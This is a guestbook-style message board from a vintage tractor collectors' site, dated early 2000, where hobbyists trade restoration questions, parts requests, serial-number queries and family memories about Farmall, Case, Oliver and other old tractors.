tim galey wrote on Thursday, March 09, 2000 (PST):PS my e-mail is timgaley at tctc.com
tim galey wrote on Thursday, March 09, 2000 (PST):my neighbor and i are restoring his 1951 m and are looking for engine parts.if anyone in or around indiana has parts contact me at 1 765 762 2616 or e-mail THANKS
James Monroe wrote on Wednesday, March 08, 2000 (PST):A week ago, I bought a 44 from a friend in my hometown, Italy, Texas. I got it running after filling the propane tank and replacing the ignition coil. Am in the process of replacing the rear tubes and painting the tractor after steam cleaning. It appears to be perhaps a conversion to propane. Would like to hear from others who have 44's Thanks, James Monroe 322 Lindsey Lane, Tyler, Texas, 75701-1636
david miller wrote on Wednesday, March 08, 2000 (PST):I have 3 cub tractors and love them to death.[had]4 but traded one for this computer.when I was a boy my mom would carry us to church on one
Craig C. wrote on Wednesday, March 08, 2000 (PST):I have a UB and a Z. The picture on the top looks more like my UB than my Z. By the way, is it worth it to restore my UB and Z??
Craig C. wrote on Wednesday, March 08, 2000 (PST):I have a G-706. it is in really bad condition. Is it worth Restoring??
Brian Trim wrote on Tuesday, March 07, 2000 (PST):I own a 38 wc,That I gave a new life to, By dragging home with a stuck engine. After many hours of therapeutic labor, and a few cold beers,She's back up on her feet. Nothing sounds better than a straight pipe WC on a cool fall morning!!!
Reb Williams wrote on Tuesday, March 07, 2000 (PST):After looking for a year or so for an L or LA, I lucked into one a couple weeks ago on the computor. It was only a couple hours drive and I bought it. It doesn't appear to need much except for paint. ID tag is missing, as is often the case, but it will be ready for the show this fall.
rich price wrote on Monday, March 06, 2000 (PST):need parts, info and/or a manuel for M&W 9 speed transmission for an M.m e-mail me at cabbagehed at webtv.net
scott fisher wrote on Monday, March 06, 2000 (PST):I am looking for information and photos of Massey Harris 33. If anyone has one, please send to my email. Thanks!!
david wrote on Sunday, March 05, 2000 (PST):I am looking for a front weight,loader,hydrolics and rims for my A.C G
Nick R. wrote on Sunday, March 05, 2000 (PST):Looking for a carb for my "G". (marvel schebler TSV)
steve vandeusen wrote on Sunday, March 05, 2000 (PST):email adress wrong above should be sjvandeusen at qcnet.net
steve van deusen wrote on Sunday, March 05, 2000 (PST):i make new hand cranks for IH and AC tractors.will make others if i have specs. email at sjvandeusen at net.net
steve vandeusen wrote on Sunday, March 05, 2000 (PST):serial left side toward front of engine on small machined surface sould be same as tag no. i have a 1927 and these two #s match.
Andy Weickert wrote on Saturday, March 04, 2000 (PST):Am looking for a Farmall 20 teeshirt or sweatshirt for a present. Does anyone know where I could purchase one.
stephen paugh wrote on Friday, March 03, 2000 (PST):To Llew I have a beautiful book called FARMALL TRACTORS that my son gave me for Christmas.It is available at Chapters in Bayers Lake. It is written by Robert N Pripps. This book has a Model,Serial Number, and Production Year Summary which is wonderful and will help you Identify certain models by serial number. I live in Middle Musquodoboit and my phone number is 384 -2809 if I can be of any help to you please give me a call.
Rory Moore wrote on Friday, March 03, 2000 (PST):I am looking for my grandfathers 1946 or 1948 CASE VAI. The last person to own it lived in Tunnelton,West Virginia. Anyone with information please E-Mail me.
Mike Darby wrote on Thursday, March 02, 2000 (PST):I own a model M crawler that is a gas 4 cylinder 6 volt magneto that I'm rebuilding and using. It has been converted into a dozer and does apretty good job. I sure wish I knew where I could get parts or an old salvage unit. This thing is a pretty good machine.The serial number is M-3489, so if anyone knows anything about this or a parts tractor let me know. What year is this thing . Iwas told it was a 1942 thru 49?
Jim Loucks wrote on Thursday, March 02, 2000 (PST):I am looking for a Farmall MV. This is a high crop tractor.
Martin Brack wrote on Wednesday, March 01, 2000 (PST):I'm tring to fix up a D case tractor. I'm looking for a junked one to use for some parts. I'm also looking for a 3piont hitch and a loader.
Rich Greenwell wrote on Wednesday, March 01, 2000 (PST):I recently purchased an old IH/Farmall it has seen a few different coats of paint and most of the wires were eaten by the previous owners goat. I was told it ran good before that, but it has been a couple of years since then. Any special things I should do before trying to start it? Also how do I find what model and year it is? Thanks.
Robert Cox wrote on Wednesday, March 01, 2000 (PST):My father purchased a new 8N in 1952. I would have been 12 at the time and spent many hours on the tractor during my teens. The tractor has been overhauled several times and is still owned and used by my father. I also purchased a 1952 8N in 1974 and have used it since, but not so much. It had only 1500 hours when purchased and was overhauled at the time. It now has roughly 2200 hours and still runs great. I have fond memories of the 8N.
walt s wrote on Wednesday, March 01, 2000 (PST):hi i have a 48 cub and it runs good. i'm looking for a side mount fertilize can some one help me locate one thanks
John Kikut wrote on Tuesday, February 29, 2000 (PST):Recently came across a 1941 Case "V" model tractor (sn#V4522223) in working order, and in resonable shape. Would like to know what the value of this tractor would be. Any info that can be provided would be greatly appreciated. Thanks, John Kikut, Woodstock Ontario, Canada
Arin Peters wrote on Tuesday, February 29, 2000 (PST):I`am looking for a farmall tractor perferably a f-30,f-14,f-12 H,or M.To restore, I really want one that doesn`t run,because I like to make them run again,and to me that is the fun part so if anyone has one for sale please let me know.
R.E.L Tue. Feb. 9/2000 wrote on Tuesday, February 29, 2000 (PST):Has anyone the name and adress for the IHC club's magazine?
Franz Felten wrote on Monday, February 28, 2000 (PST):Lynette- A little late, but I think you are talking about the No. 8 tractor plow. It came in 2 or 3 bottoms in either 14" or 15". It had red plow beams, blue colters and hitch, with the wheels and spooks and hub International Cream color. My father bought one during WWII and had an older one from the 1930's. These were good plows and had heavy beams. The B will not pull this plow. We used a M. All this from my memory.
Dave Ordos wrote on Sunday, February 27, 2000 (PST): I have an I9 gas that is rough should anyone need any parts for one they are restoring. Or if anyone has one that has all the sheetmetal on it that would be useable, I could be interested.
Dave Ordos wrote on Sunday, February 27, 2000 (PST): I have a 47 VAO and I need the outer fender skirt, both branch deflectors. Could use a hood.
john conrad wrote on Sunday, February 27, 2000 (PST):we have a model 97 1963 it seems to be a good tractor we bought it in montana for 2500.00 it is propane powered wich is areal pain to get it filled it has one broken piston so im redoing that one after we get it fixed we are thinking of selling it if any one is interested please contact me at my email john_con at almosthuman.zzn.com
angel and Joe wrote on Saturday, February 26, 2000 (PST):Hello, I need to get some information to fix a 1941 Farmall cub tractor. My dad is giving it to me and would like to see it run it ran year before last then just stopped. I would like to purchase a book on it. Serial number 26324 351686) R1) If you could help me any way I would be very greatful. Would like to hand it down to our son in running condition and with a moer deck would be so helpful to moe with Thank you.
Wyatt Olsen wrote on Saturday, February 26, 2000 (PST):I bought a 500 Case at a auction about 10 years ago.It still runs great and is in good condition. My only problem is that I need a PTO, and I can't find the parts. I hate to sell a machine that runs this good, but I found a 730 close by for $2500 that has what I need. I payed $950 for my 500 and would really like to keep it. If anyone has a dead 500 with a PTO I would like to hear from you.
Bill Cornelius wrote on Saturday, February 26, 2000 (PST):While growing up my Father used a 35 CC on steele to bush hog our N.KY Hill Farm untill the early 70s.It is now Fully restored and residing on the same farm RETIRED along with my DAD.I now show the CC around N.KY you can see my DAD near by telling stories of his mishaps and adventures on the Ole tractor slightly exaggerated !!! Bill Cornelius
ernie henning wrote on Friday, February 25, 2000 (PST):looking for a good hood for farmall B, MUST BE A GOOD ONE
Linda Pyles wrote on Friday, February 25, 2000 (PST):I have a Allis chalmers that was my grandfather's. It has been painted some years ago and runs well, in fact I use it often on my farm. I am not sure if it is a "B" but the picture looks the same as the one in the directory on this web site. It has decals by the radiator that say "B". The number in front of the shifter is 173499. On the right side of the tractor where your right foot would sit is the number AM2787-19. On the transmission is number AM2880-5. I looked on the serial number registery on the Allis home page and I couldn't quite make sense of it. Would some please help me. Thanks Linda
COREY wrote on Thursday, February 24, 2000 (PST):I have a 1944 B I bought 5 years ago. Its been a pain but I rebuilt it got it to run. And stop leaking, now I need to find a carb anybody got one. Thanks Corey
GARY HUNT wrote on Thursday, February 24, 2000 (PST):I have a 56 VAO AND WAS TOLD THERE WERE ONLY ABOUT 6900 OF THEM MADE.COULD THIS BE TRUE ? I ALSO NEED THE LEFT SIDE SHEET METAL PIECE THAT COVERS THE TOOLBOX/BATTERY AREA.
nick wrote on Thursday, February 24, 2000 (PST):we have a M and a SM the super M is mine these to run our 7 and a half acers with a case DC which my father bought these three run the baler and haybine to cut and bale 5 acres of hay and do a pretty good job too even though they are older than the equpment they run!
Albert Sparks Jr. wrote on Thursday, February 24, 2000 (PST):I am trying to find the two fenders for my 1950 DC Case If you can help me with this search I would appreciate it very much
Larry Nicholson wrote on Thursday, February 24, 2000 (PST):question My 1951 Cub has a 12 volt system and I cannot stop the points from pitting up in a couple of hours. I have changed the points and condenser many times, tried both the original condenser and a 12 volt condenser. The gap is correct, the timing is correct and when a new set of points is installed it runs great for two hours and then breaks up and you can see deep burn marks on the points. When running the voltage stays at 12 volts I have not seen any spikes in the voltage. Any ideas would be a great help?
Dave Barglof wrote on Thursday, February 24, 2000 (PST):Have B- Farmall to sell please contact. Also H- Farmall for sale 4- row front Mount cultivater Fits M Farmall
Tim Detwiler wrote on Thursday, February 24, 2000 (PST):Is the steering sector on the L the same as on the LA
Marty Schutz wrote on Wednesday, February 23, 2000 (PST):I have a 1940 Oliver Row Crop 60. I am looking for a bucket or blade to buk snow at my hunting shack in northern Minnesota. Any ideas? Thanks.
Melvin Shaw wrote on Wednesday, February 23, 2000 (PST):I have a Farmall B that runs and is in fair shape. I also have extra parts that go with it. If anyone is interested in purchasing it, please make an offer. Any other questions you have, you can e-mail them to me.
Brian Freemantle wrote on Wednesday, February 23, 2000 (PST):My grandfather bought a 12-24 back in 1927 and my father always told us of how he drove it 32 miles to a new farm that they bought in 1929. It was later sold to another farmer in the district who used it for many years to drive a sawbench. it was then sold to a collector who kept it for a short while before selling it to another collector.The second last owner told me that it still had it's original books with it. The tractor is still in working order. I am hopeful of being able to aquire it someday for sentimental reasons.
Jacob Johansen wrote on Tuesday, February 22, 2000 (PST):For a 4H project I restored my landlords F20. I trided to buy it from it him, but it was his first tractor he bought so he wouldn't sell it. He is 84 years old. So a nabor sold his F20 for 150$ so I am restoring it for a 4H project. I also redide a 1958 460 last year.
Llew Chase wrote on Tuesday, February 22, 2000 (PST):The price for a working Farmall A in Nova Scotia is around $1500CDN. I have an 'A' with a serial #FAA 121385 and would like to know what year it is and if there is a way to tell determine the year on other Farmall units that I look at to purchase?
ernie henning wrote on Tuesday, February 22, 2000 (PST):I am not to good at this computer stuff yet, but know quite a bit about the B. great little tractor. I have restored two and presently own a 1947 last year for them. I worked at farmall works Rock Island when they closed. Any questions about Bs my e-mail is ernhen at aol.com
Harry wrote on Tuesday, February 22, 2000 (PST):E-mail Swamp_Yankee at Hotmail.com
Harry wrote on Tuesday, February 22, 2000 (PST):willis I have a oliver 66 rowcrop I restored that my grandfather bought new in 1950. I also have a 77, but need a block. e-mail me it. ' if you have amy ouestions on old olivers.
Ron, Ohio wrote on Monday, February 21, 2000 (PST):My friend has a early 70s Cub that is yellow and white. He doesn't use it to mow any more since he moved, but he still makes it work in the woods.
Ron Hawkins wrote on Monday, February 21, 2000 (PST):When I was 12 yrs old, my grandfather put me on a 1949 MH-44 rowcropper, put in 5th gear and told me to hang on. I stopped about 4 hours later. I have since inherited that tractor from him and would not trade it for the world. Some day I hope my son feels the same way about it as I do!
Dan Hackler wrote on Monday, February 21, 2000 (PST):I have found the information I was looking for on my F-20's cast wheels.Restoration is half-way done, have found an abundance of parts in south east NE. All I need is "money"" HA-HA- ENJOY READING THE WEB SITE!!!!
Dan Hackler wrote on Monday, February 21, 2000 (PST):I have found the information I was looking for on my F-20's cast wheels.Restoration is half-way done, have found an abundance of parts in south east NE. All I need is "money"" HA-HA- ENJOY READING THE WEB SITE!!!!
Richard Davis/Terra Davis wrote on Sunday, February 20, 2000 (PST):I just purchases an 8N-4 cylinder tractor and have been lookingfor implements. Can you help me out with this. The only implement that I have is a back blade. It has a three point and a PTO. Thank you for your help.
willis allen wrote on Sunday, February 20, 2000 (PST):i have never been a big farmer but have had a few oliver tractors my dad bought a new oliver row crop 60 in 1948. i still have a 1950 oliver 77 gas model that i bought used in 1967. i am retired now and enjoy getting it out and drive around town in the summer time. it is all original and still looks real good. it is short the front headlights. but i found a place to get them. thanks for letting me add my coments about olivers.
Carlton W. Mullins wrote on Saturday, February 19, 2000 (PST):My dad currently owns a Farmall 560-D (#43247) with wide front end & toque amphlier. I've got a question about some decals that aparrently this tractor used to have on it. They are starting to show up from the faded paint. The decales are located on the left side of the hood. One decales says "Job Matched Speeds" & the other says "More Work At Lower Cost". I've heard of some Limited Edition 560's that were solid white that were supposed to be an advertisement type thing. I've seen an article on one, but the tractor in the article was questioned on its authenisity. Its been a few years ago & I can't remember which magizine it was in now. Any reponse would be greatful. Thanks!
Doug Hastings wrote on Saturday, February 19, 2000 (PST):To all with OLIVER questions. I have a 1955 super 55 and find alot of information in my Hart Parr/ Oliver Collectors Assn. magazine.(PO. box 685,Charles City, Iowa 50616) Drop them a line its a great magazine.
Gale wrote on Saturday, February 19, 2000 (PST):I`m looking for gears for pto shaft and shifter to engage for a 1962 fordson super major. all help apprieciated
Bryan wrote on Saturday, February 19, 2000 (PST):Hey, have you guys met the "King of Silver Kings", Art Gruber of Marion, Ohio- he is gentleman and a great collector of SK's. I had the pleasure of seeing his collection last summer.
Ryan Ratzlaff wrote on Friday, February 18, 2000 (PST):I am looking for undercarriage parts for a TD-18 let me know if there are some out there
Charlie Zuck wrote on Friday, February 18, 2000 (PST):Could someone explain how the MD engine works. I thought diesel engines needed much higher compression that gas engines. I have seen a few of these tractors at shows and would like to know the operation of the engine.
Ossie Smith wrote on Friday, February 18, 2000 (PST):I have a 1946 AC "C" just about ready to paint --need to know what color what was on that model, was the radiator black, was the grill orange , was the starter black or orance, was the wiring painted or not painted, was the mag. painted or not ? was the radiator cap painted orange or black ? these details are what I need thanks for any information.
Bob Miller wrote on Friday, February 18, 2000 (PST):I have an F-30. It ran the last time we used it in late 70's. I suspect the engine is still good. I learned ALL about magnetos with this old rig. Last time we used was to bump our big pecan trees to make the nuts fall. Don't know how I ever got by without breaking my wrists startin her either. Dad farmed in the 30's in Muskogee county Ok. on an original Creek Indian 100acre alotment farm which is still in the family. I intend to do a full restore on the tractor but would consider sell/trade.
DON BOUGIE wrote on Friday, February 18, 2000 (PST):MY FRIEND HAS A OLIVER TRACTOR 550 THE MODEL # 45-0071 SERIAL# HE SAID HE FOUND A TAG NEAR THE TRANS. IT IS 127641 519 CAN ANYBODY TELL ME WHAT YEAR THIS OLIVER TRACTOR IS AND I WOULD LIKE TO BUY HIM A SERVICE MANUAL ON IT. THANKS ALOT HOPE TO HEAR FROM SOMEBODY.
clark thompson wrote on Friday, February 18, 2000 (PST):I have a 1948 cub that i purchased 9 years ago,i rebuilt i and the sold it to a historical society .last year the society dissolved and i bought it back and my son alex and i restored it to show condition. everything is original.i used good paint such as ppg and hardener,people at local shows say that it looks better now than it did when it was new. My grandfather was a farmall and john deere dealer back in the early 50's in hubbard ohio.when i was 13years old he gave me a old cub to drive around town for transportatoin.I drove the old cub for 4 years and put probabley 75000 miles on it.when i was done he put it back to work on his farm and used it till he passed away in 1986.since then i have purchased about 25 cubs and restored them properly and then sold them.i didnt get near the money back that i put into them but it was alot of fun.I currentley have a 1951 I9,1928 fegular,1938F20,1950 farmallH and the 1948 cub
Clark Thompson wrote on Friday, February 18, 2000 (PST):In 1998 I purchased a I9 gasoline.It was setup to push and pull railraod cars.It weighed almost 13000 l.b.s.with all the pushing equipment attached.Unfortunateley to restore the tractor i had to remove the push bumpers with a cutting torch.The tractor is now restored to show condition.It is a 1951 and came from a mill somewhere in western pa.
Dan Witmer wrote on Friday, February 18, 2000 (PST):Larry I can help you with you're problem. The early cubs did have a grill and they were red. If you have a Case or iternational deler in your area they should be able to give you the traditional FARMALL RED but if they can't give it to you they could probley order it from Case becouse most dealers sell restoration parts and FARMALL RED pait.
Hendrik wrote on Thursday, February 17, 2000 (PST):To Mike Gleason. The width of my '48 Super A is 64" and the height (top of steering wheel) is 66". Width can be adjusted to less than 64".
CRAIG wrote on Thursday, February 17, 2000 (PST):Would like to know the value of a 1948 VOA. Anyone interested in the one I have, send me e-mail. It is in average running condition.
Kevin Manring wrote on Thursday, February 17, 2000 (PST):I have a 1939 F20 when I bought it 5 months ago it started great But now I don't remember how to set the advance on the mag. Up or Down, Does anyone know? Thanks
Kevin Manring wrote on Thursday, February 17, 2000 (PST):I have a supernice original 1939 70RC that belonged to grandpa. it is sooo sweeet! But some LOW Life stole the Original flat lens lights last year while I had it at a county fair on display. Boy! are they hard to find or what? If anyone knows of any I'd really appreciate knowing.
woods c. swinburn wrote on Wednesday, February 16, 2000 (PST):I've met a couple of fine folks who also own Farmall B's on this net. Looking to meet some more, especially anyone who has a B and lives in Texas. Thinking about trying to start an old Farmall tractor club in Texas if there's interest.
Gord Cassman wrote on Wednesday, February 16, 2000 (PST):Further to my post of the Fordson with a Model T engine, sorry Model T plugs, Model A carb and Lucas magneto. Anyone know what it is? Was a Fordson Major made in England ?
Gord Cassman wrote on Wednesday, February 16, 2000 (PST):Further to my post of the Fordson with a Model T engine, sorry Model T plugs, Model A carb and Lucas magneto. Anyone know what it is? Was a Fordson Major made in England ?
Eric Hillman wrote on Wednesday, February 16, 2000 (PST):I believe my father has one of these in a old building on the farm. Its a pretty intersting piece of machinery. Its either a VAO or a VAC I can't remember what the serial said.
Andy Kinard wrote on Tuesday, February 15, 2000 (PST):My Granddad has an old Farmall that I am trying to get to restore but I'm not sure what it is. It looks just like pictures of B models I found from Y-Ts site. Except it has a wide front axle and two front wheels. Anyone with any ideas please help.
TravisC.Jones wrote on Tuesday, February 15, 2000 (PST):Travis C. Jones My correct e-mail address is colewm at axs4u Sorry for any inconvenance.
mack hewitt wrote on Tuesday, February 15, 2000 (PST):When I was a boy in south Louisiana, we farmed with an IH WR-9, which is essentially the same as the WD-9, except set up for rice fields. That old tractor was a legend in the neighborhood because of what it would do. It would outpull a lot of bigger, newer tractors. I just discovered this website, and am really enjoying it. I especially like reading other people's comments.
Travis Mann wrote on Monday, February 14, 2000 (PST):I am looking for an 8N of any condition or any year. I plan to make this my first tractor, and would like help finding one Thanks.
James Smith wrote on Monday, February 14, 2000 (PST):I just bought my second Farmall. The serial # is SM 2539 AJ. Guy's book says it is a 1952 super. My question is how many stage I supers were made? and What is super about it compared to a non super. It does not have the live hydraulic or PTO. Has anyone ever seen a brake pedal broken off? Did the stage I's have super stickers or not? Also the grill front has holes that held the Farmall name. I thought super's had the IH emblem. Any knowledgeable comments appreciated. E-mail js65 at ti.com
zack lacenski wrote on Monday, February 14, 2000 (PST):My grandpa bought a 1943 Farmall H brand new. We still use it for pulling chopperboxes. It dragged our John Deere and full manure spreader around the yard like nothing. It has the power, but not the weight.Its a darn good tractor.
Larry wrote on Sunday, February 13, 2000 (PST):Is the use of low ash oil nessisary? The guy I bought the 1952 model vac said that that is what Case told him to use.
Mark Bassett wrote on Sunday, February 13, 2000 (PST):I grew up on a farm with nothing but Allis-Chalmers tractors. I started collecting and restoring tractors about 5 years ago.In my colection are 42WC,45WC,47WC,and two 53WDs all run but one,two are restored. I always make fun of the John Deere colectors because mine are bright orange so people can see then and thiers can be hidden in the woods out of sight.
Bruce In OHIO wrote on Sunday, February 13, 2000 (PST):I have a770 gas nf and I use mine to make all of my hay for our horses with and it does agreat job but I would like to find a 880 diesel wide front,3pt hitch with a powerbooster also clamshell fenders ANYONE HAVING ONE FOR SALE PLEASE CALL ME [937]548-2236 THANK YOU.
Michael Bent wrote on Sunday, February 13, 2000 (PST):Hello from New Zealand. I have an HG60 standard tractor and an OC3 with a blade. The HG is undergoing an extensive rebuild like gearbox, final drive, new track bushes and pins refitted front idler hubs and so on. Nearly complete and looks quite exciting. OC3 is original but basically quite sound. Also have a 77B hay mower adapted to the "Ollys" and it works really well too. Ther is quite a strong and growing group of Oliver crawlers, mostly HGs and OC3s in the local vintage tractor and machinery club of 260 members. We mostly use them for plowing but occasionally shift a bit of dirt too. In fact we got "Men of Steel" days going for the crawlers and steel wheeled tractors and they are really popular. These Ollys are amazing in the bush and on the hills. Would be keen to hear from some of you chaps in the US of A so start writing please.
Don Rudolph wrote on Saturday, February 12, 2000 (PST):The 500 must be the best sounding diesel engine of all time. In this part of Wisconsin that would have been a very large tractor in the mid 50's. The first time I ever saw one was in 1969 ar a Case dealer being rebuilt and the dealer saw that I was impressed with it and started it up for me to hear. I decided right then that someday I would have one and 4 years ago I found a very nice one in Iowa and rescued it from JD land. I love talking Case tractors. Thanks for listening. Don Rudolph
Ke vin W. Mull wrote on Friday, February 11, 2000 (PST):This E mail is for Doug Fulller, I am not the guy that called. But I might be interested in your J.D. R. Please contact me by e-mail. Or boy Phone 219-872-3253. Thank you.
DEAN HLAD wrote on Wednesday, February 09, 2000 (PST):I'm restoring a 1950 Farmall C. The tire size is 12.4 x 36 (11 wide rim). Apparently the tractor was used heavily for cultivation and they put calcium in the rear tires. The problem I have is that from sitting all those years the calcium leaked and has caused severe rust around the valve stem area. I need to cut the area out and replace it with new. Wondering if anyone out there has a salvage rim they would be willing to sell an 20" chunck out of for me to "graft" in the new area. Would be willing to pay the cost and shipping. Please e-mail or call meat 940-627-1785. Dean Hlad Decatur, TX
drew wrote on Wednesday, February 09, 2000 (PST):We have a black stripe with a cab. Bought it 4 years ago with a fresh overhaul. Best investment we ever made. Next to the H the best tractor IH made. Just turn up the fuel and watch the JD's hide in the grass as the Big Red goes rolling by.
Bill Dean wrote on Wednesday, February 09, 2000 (PST):My son and I dug a 1926 15-30 out of a thicket had to chain saw it loose Spent about 10 months getting it to run Was a great project to work with my then teen age son We both learned a lot abuot old tractors and each other
John Kolle wrote on Tuesday, February 08, 2000 (PST):I am looking for a MH 55, 333, 444, 555 or any other such tractors to purchase. Any information given would be greatly appreciated. I already own a 44, another 44 (six cylinder), a 30 and a 101.
Jerry wrote on Monday, February 07, 2000 (PST): would like to find a set of the shell type fenders for (H)or(M) farmall. email or call (270)789-1483 thanks.
Scott wrote on Monday, February 07, 2000 (PST):My wife bought me a 9N (#53523) 10 years ago and I am getting ready to restore it. I am quite picky when it comes to materials and wondered if anyone new of a very reputable parts supplier that carries new and used parts and also a quality engine complete rebuild kit. I am located in North Idaho if it matters. Thanks! Scott
N Chance wrote on Monday, February 07, 2000 (PST):I recently inherited a ford tractor that was my father's. I was told that is was an 8N but I've found a # on the motor that says 9N. How will I know for sure what it is? I also need info. on cleaning up the inside of the gas tank. The tractor sat for 7 years untouched so now the tank has rust in it. A new one is quite pricey. It there a way to clean or coat the inside? The tractor runs great to have sat for so many years. I'm just having trouble with the rust in the tank. Also, what is the original color on the 8N? This one is painted blue and gray but you can see red where the blue is chipping off.
Claude Gagnier From Cumberland on. wrote on Sunday, February 06, 2000 (PST):Gaetan J'ai un poney 1952 ser#PGA9223A si tu as besoin d'informations communique avec moi
Bob wrote on Sunday, February 06, 2000 (PST): I run Farmall M's quite often. They are a smooth running tractor and are very handy to have around the farm. We use them mostly for hauling wagons and mowing.
MN/Dan wrote on Saturday, February 05, 2000 (PST):Yea Sam , it could be your aux pto is engaged on the rear of the tractor where you would connect the hosses theres a small lever that moves from left to right sitting here typing I cant remember which way to move it but try the opposite of what it is now see if that makes a difference
Frank Soares wrote on Saturday, February 05, 2000 (PST):I have a 1963 2010 Row Crop, ser. #33065 with syncro-range, Rollamatic front end with power steering. I bought it in 1980 with 1500hrs,it now has over 5000hrs.with not one bit of trouble worth mentioning.For years this was our main tractor for chopping corn silage and green chop rye. Our old IHC 15 chopper didn't blow green rye very good so I Had to rev up to get more than 540 on the PTO,sometimes running at 2200-2300 rpm all day. As far as I know,the engine has never been touched. This is the most handy,agile tractor we have ever owned, especilly backing 4 wheel wagons into the sheds,etc. with its dead slow reverse in low range. Say what they want about 2010's, for me its been a great tractor, it needs to be restored for sure,but I have no intention of getting rid of it,ever. We also own a 1963 3010 RC ser.#34493, 1973 4030 w/SG cab. 1950 B,1952 A and other A's and B's
Willie Heidebrink wrote on Saturday, February 05, 2000 (PST):This is for Rick Payden who wrote on 10-30-99. Oh for the love of the internet. Isn't this great? I am going to restore a Farmall BN this year also. Maybe you have already got your engine to rotate, but let me pass this along for what it is worth. A friend loosened up an engine this way. Remove the spark plugs,squirt some WD-40 and some Mystery Marvel oil (penetrating oil ) into each cylinder and take a pipe wrench and put on the nut at the crankshaft pulley. Slip a section of pipe over the handle (8 to 10 Ft.)and add some weight to the end of the pipe. Let set till the weight overtakes the resistance ( rust or whatever ) then you won't damage anything.When you see the weight on the floor, the engine is loose. Add more WD-40 Etc. if you want, but it will work. Make sure the wrench is attathed to turn the correct way.Don't attempt to start the engine till the crankcase is serviced with fresh oil!Also you may loosen each connecting rod cap and using a mallet and a stick of wood, and push each piston, one at a time. Good Luck!
Larry Sumner wrote on Saturday, February 05, 2000 (PST):I think I own a VA model but I'am not sure. Can anyone help me fiqure out what model it is. It has spread front wheels but it also has the drive wheel for the wide belt on the right side also. It also has a hydralic pump for implements on the rear housing. It is Orange in colour and is thought to be a Case LA 1953. Reading in this column it appears that the LA was stopped in 52. It is in running condition and I would like to put a price to it to sell it. Thanks for any help you might have.
Ed Harbur wrote on Friday, February 04, 2000 (PST):I have a Cub, S/N about 27000. I would like to find out more about it, as well as parts suppliers, etc..., first off, I need a carb rebuild kit, battery (the ones I have found are too high for the box) and ignition tune up parts. Thanks, Ed Harbur
Mike Gleason wrote on Thursday, February 03, 2000 (PST):My shop door is 64" wide and 77" high. Would a Model A fit through if I removed the exhaust pipe?
Terry Clark wrote on Thursday, February 03, 2000 (PST):Im presently restoring a MH 44, The serial no. is 1647 . Is this an early model ? My dad says they started with serial no. 1000. The motor is black I believe this is the proper color.
john wrote on Thursday, February 03, 2000 (PST):did they make the A with a belt driven hydro? i have a book on the A & they only talk about the hydro running off the motor. also does any one know how hard to change to 12 volts
jimmy dean wrote on Thursday, February 03, 2000 (PST):i would like to find a repair manual for an 8-n
Terrance Ketterling wrote on Thursday, February 03, 2000 (PST):Just purchased a 1951 Ford 8N at an auction this last summer . It seems to be in excellent shape, new paint job in the last couple years. Paid $5,000. for it. I think we paid too much for it, but you know how auctions go! May trade it some day for a JD. Can't get the green out of my blood!
david wrote on Thursday, February 03, 2000 (PST):one of the best sampsons that i have ever seen was at pioner acres in irricana alberta. It was in show room sape but it was a tragedy that the man that started the restoration and did most of the work did not live to see it finished. His parterns and friends finished the job as a tribute to him.
Jerry wrote on Thursday, February 03, 2000 (PST):I purchased aFordson major diesel 3 yrs. ago and iwas told it was a 1948, 45 hp. ,but Ihave no idea where the serial numbers are,PLEASE if any can tell me where there I would appreciate very much
Dave Barker wrote on Wednesday, February 02, 2000 (PST):I have a VAO running that my dad bought new in 1947. When he got it, it had full fenders and branch shields. There was a hydraulic lift on it from the dealer but he had a much stronger one built at a local machine shop. The shields were removed when the orchard trees became less bushy. I m needing a left branch shield and I'm hoping to find one so I get it finished by August so we can use it for pictures for his 60th Wedding Anniversary. If you can help email or phone 1-250-499-2095 Thanks
DAVID COURTNEY wrote on Wednesday, February 02, 2000 (PST):DO HAVE LIST OF ANYBODY BUILDING KITS TODAY
DON KROUT wrote on Tuesday, February 01, 2000 (PST): SUPER H FAIR COND. ANYBODY INTERESTED
Dave Blevins wrote on Monday, January 31, 2000 (PST):Have and old 550 wish to sell has a valve train problem otherwise solid tractor. has 81-070-519 and 45-00-28 on the plate do not know year or worth of tractor. I gave 3500 years ago but it is time to trade. Gas engine 4 cyl.
Marc Emerson wrote on Monday, January 31, 2000 (PST):I'm trying to install a water temp guage to my 51 8N. Anyone know how or where to connect sender to the engine. I can find no place where this can be done. Do I drill and tap a hole if so, where? I'd appreciate any information I can get on this.
JIM BLAKE wrote on Sunday, January 30, 2000 (PST):I have acockshutt 30 gas with underdrive. It is one of the fastes tractors I,v seen. Good tractor to work with. I would like to know how to adjust pto clutch,mine drags and wont stop when disengaged . thouse of you looking for A 30 I saw A net add last week. Jim Cobb ,barton vt. 802 525 4032 I don`t wont to sell mine. Would like to try it in the tractor pull. Enjoy your tractors, I do. JB
JD_Scott wrote on Sunday, January 30, 2000 (PST):I have an IH Cub. It is yellow with a white gas tank and hood. The ID plate on the steering box is completely illegible. I've been told is a 1969. How else can I confirm its year? There are some casting numbers on the block if they will help. Are the numbers i.e. serial, model, etc. stamped on the data plate or painted on? I don't know if I should try to strip the old paint off the plate to look for numbers underneath.
Judd langworthy wrote on Sunday, January 30, 2000 (PST):My Father has a Oliver Hart-Parr 18-28 he picked up a few years back. It is his pride and joy come tractor pull time. He has never been beat while using his set of steel wheels pulling against other tractors in the same class.
Mike Elmira NY wrote on Sunday, January 30, 2000 (PST):Want to buy cub with attachments,snow and dirt plows,belly mower,disc,drags,cultivaters ect willing to pay up to $3000. depending on attachments and condition.Thanks
Dave Barker wrote on Sunday, January 30, 2000 (PST):I am looking for fender parts for my 1947 VAO Case. If any one knows of any parts I would appreciate hearing back.
Dave Barker wrote on Sunday, January 30, 2000 (PST):I am still looking for fender parts for a 1947 VAO.If you have any info please email or phone 250-499-2095 Thanks
Russell Rinta wrote on Sunday, January 30, 2000 (PST):How do i get a hold of Danny about 1950 cub?
Gene wrote on Sunday, January 30, 2000 (PST):To Jared; If you still have the WD45 with crack block would you be willing to sell the tractor? Look up Allis web pages and you can find engines and parts all over the country, I use to deal with CT in Des Moines Ia.1 888 828 3276
Drew Simpson wrote on Sunday, January 30, 2000 (PST):My brother and I have a 1953 Super MD. We have had it for about three years, but we haven't had a chance to restore it yet.
FM wrote on Sunday, January 30, 2000 (PST):Jim, where are they located? how much are you asking? Butch, I beg to differ. ever 70 I have ever seen, and all the books I have, had a 6 speed tranny with R1 and R2.
Lyle Oakes wrote on Saturday, January 29, 2000 (PST):I own and restored a 1931 Farmall Regular and really enjoy driving it and taking it to shows. I'm quite proud of it. I am always amazed at how good it starts even after months of sitting in the barn.
